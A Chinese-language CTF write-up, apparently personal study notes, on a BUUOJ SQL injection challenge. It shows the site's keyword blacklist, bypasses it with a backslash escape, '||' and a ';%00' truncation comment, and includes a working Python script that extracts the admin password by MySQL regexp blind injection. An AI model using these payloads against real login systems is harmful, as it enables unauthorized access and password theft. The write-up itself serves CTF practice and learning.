一、自己做,
fuzzing了,但是没有思路,
给我这么一句话:try to make the sqlquery have its own results
.
后来发现没用,
二、学到的:
- mysql正则注入 regex
- 一个新的sql闭合方式,妈呀,骚的很,至少对于我这个菜鸡才说是开了眼界了,,,牛你牛后面看看
- sql注入时,当注释符和单引号都被过滤了的时候,我们不能够闭合语句了,那么可以看看PHP的版本,如果PHP的版本比较低,那么,可能cunzai
%00
截断,然后就可以用;%00
的方法来进行闭合sql语句,实现sql注入 - 学了 parse.unquote 。 urlencode的这些编码的东西,下面有讲解和连接
- sql注入的那个一串字符串,下面也有,就那个 for i in [***]什么的
三、学习WP:
robots.txt有提示:
给了过滤的关键字
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
密码对了就给flag。
然后有两个思路,
一是直接爆破密码,然后进去
二是盲注,
select * from users where username='\' and passwd='||1;%00'
这样做注释,从而达到为真的目的,同时后面的那个1,可以作为bool盲注的那个bool判断点
然后说 regexp
函数没有被过滤,所以就可以用mysql正则注入绕过。
单引号和常用注释符被过滤了,可以用;%00
来代替。
1.盲注,
条件为真,就会跳转到welcome.php页面。
条件为假,就回到登录页,所以可以用盲注
至于他们怎么样看出来的,我也不清楚啊。。
转义符 \
没有被过滤,可以利用\
转义分号从而构成这种闭合语句
select * from uers where username= ' ' and passwd=';%00'
。
异或没有被过滤,直接异或
passwd=||/**/1;%00&username=\
然后就变成了
select * from users where username='\' and passwd='||1/**/;%00'
因为;%00
也是注释,然后or判断就成功了,
成功后会有welcome.php出现,就代表成功了,然后我们就可以爆破了,
先用burp试试看,然后再些python脚本
所以python中的text中如果有welcomte.php就代表成功了
注意: 再burp的时候,这个regex后面的内容,要带上引号引起来,才行,就像mysql中的操作语句一样,一样有引号引起来,
这里是要对的上号的。
就像这个一样:别人的regexp本地实验。
||/**/passwd/**/regexp/**/"^y";
然后爆破
y的那个更靠谱,但是我们也不能这样手动一个一个的爆破啊,
写一个python脚本来跑
import requests
from urllib import parse
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
flag=''
url="""http://7103ed02-f685-4725-a737-f6be19e1d1ea.node3.buuoj.cn/index.php"""
for i in range(100):
for j in s:
data = {
"username": "\\",
"passwd":"||passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
}
# 注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
res = requests.post(url=url,data=data)
if "welcome.php" in res.text:
flag=flag+j
print(flag)
break
print(flag)
我的对这个 %00
好好说道说道,因为如果做题的时候,我一定想不到要这样处理%00
.
可以看看这个,自己看了好多博客,总结了一下关于这个%00的。
好了然后跑出flag了就,密码呀,不是flag。。。
用户名随意,不用非是admin